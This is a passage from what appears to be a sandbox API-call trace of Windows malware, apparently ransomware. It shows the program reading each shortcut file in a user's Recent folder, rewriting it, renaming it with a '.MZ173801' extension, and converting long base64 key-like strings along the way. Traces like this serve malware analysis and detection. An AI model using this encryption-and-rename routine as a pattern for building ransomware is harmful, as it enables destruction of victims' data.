lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.469] GetCurrentThreadId () returned 0x9fc [0120.469] GetCurrentThreadId () returned 0x9fc [0120.469] GetCurrentThreadId () returned 0x9fc [0120.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13nJq0p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\13njq0p.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.469] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.470] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.470] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1435 [0120.470] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.470] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1435, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1435, lpOverlapped=0x0) returned 1 [0120.470] CloseHandle (hObject=0x288) returned 1 [0120.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13nJq0p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\13njq0p.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.471] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1435, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1435, lpOverlapped=0x0) returned 1 [0120.472] CloseHandle (hObject=0x288) returned 1 [0120.475] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13nJq0p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\13njq0p.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13nJq0p.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\13njq0p.lnk.mz173801")) returned 1 [0120.483] GetCurrentThreadId () returned 0x9fc [0120.483] GetCurrentThreadId () returned 0x9fc [0120.483] GetCurrentThreadId () returned 0x9fc [0120.483] GetCurrentThreadId () returned 0x9fc [0120.483] GetCurrentThreadId () returned 0x9fc [0120.484] GetCurrentThreadId () returned 0x9fc [0120.484] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9060a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde9060a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9060a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13de, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="1n-q56s0pDc.lnk", cAlternateFileName="1N-Q56~1.LNK")) returned 1 [0120.484] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.484] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n-q56s0pDc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1n-q56s0pdc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9060a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde9060a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9060a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13de)) returned 1 [0120.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.487] GetCurrentThreadId () returned 0x9fc [0120.487] GetCurrentThreadId () returned 0x9fc [0120.487] GetCurrentThreadId () returned 0x9fc [0120.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.488] GetCurrentThreadId () returned 0x9fc [0120.488] GetCurrentThreadId () returned 0x9fc [0120.488] GetCurrentThreadId () returned 0x9fc [0120.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n-q56s0pDc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1n-q56s0pdc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.488] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.488] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.488] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x13de [0120.488] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.488] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x13de, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x13de, lpOverlapped=0x0) returned 1 [0120.489] CloseHandle (hObject=0x288) returned 1 [0120.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n-q56s0pDc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1n-q56s0pdc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.491] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x13de, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x13de, lpOverlapped=0x0) returned 1 [0120.492] CloseHandle (hObject=0x288) returned 1 [0120.493] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n-q56s0pDc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1n-q56s0pdc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n-q56s0pDc.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1n-q56s0pdc.lnk.mz173801")) returned 1 [0120.494] GetCurrentThreadId () returned 0x9fc [0120.494] GetCurrentThreadId () returned 0x9fc [0120.494] GetCurrentThreadId () returned 0x9fc [0120.494] GetCurrentThreadId () returned 0x9fc [0120.494] GetCurrentThreadId () returned 0x9fc [0120.494] GetCurrentThreadId () returned 0x9fc [0120.494] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4c6d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4c6d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4c6d40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="1VJ5r3V4d2XtN.lnk", cAlternateFileName="1VJ5R3~1.LNK")) returned 1 [0120.494] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.494] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1VJ5r3V4d2XtN.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1vj5r3v4d2xtn.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4c6d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4c6d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4c6d40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x491)) returned 1 [0120.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 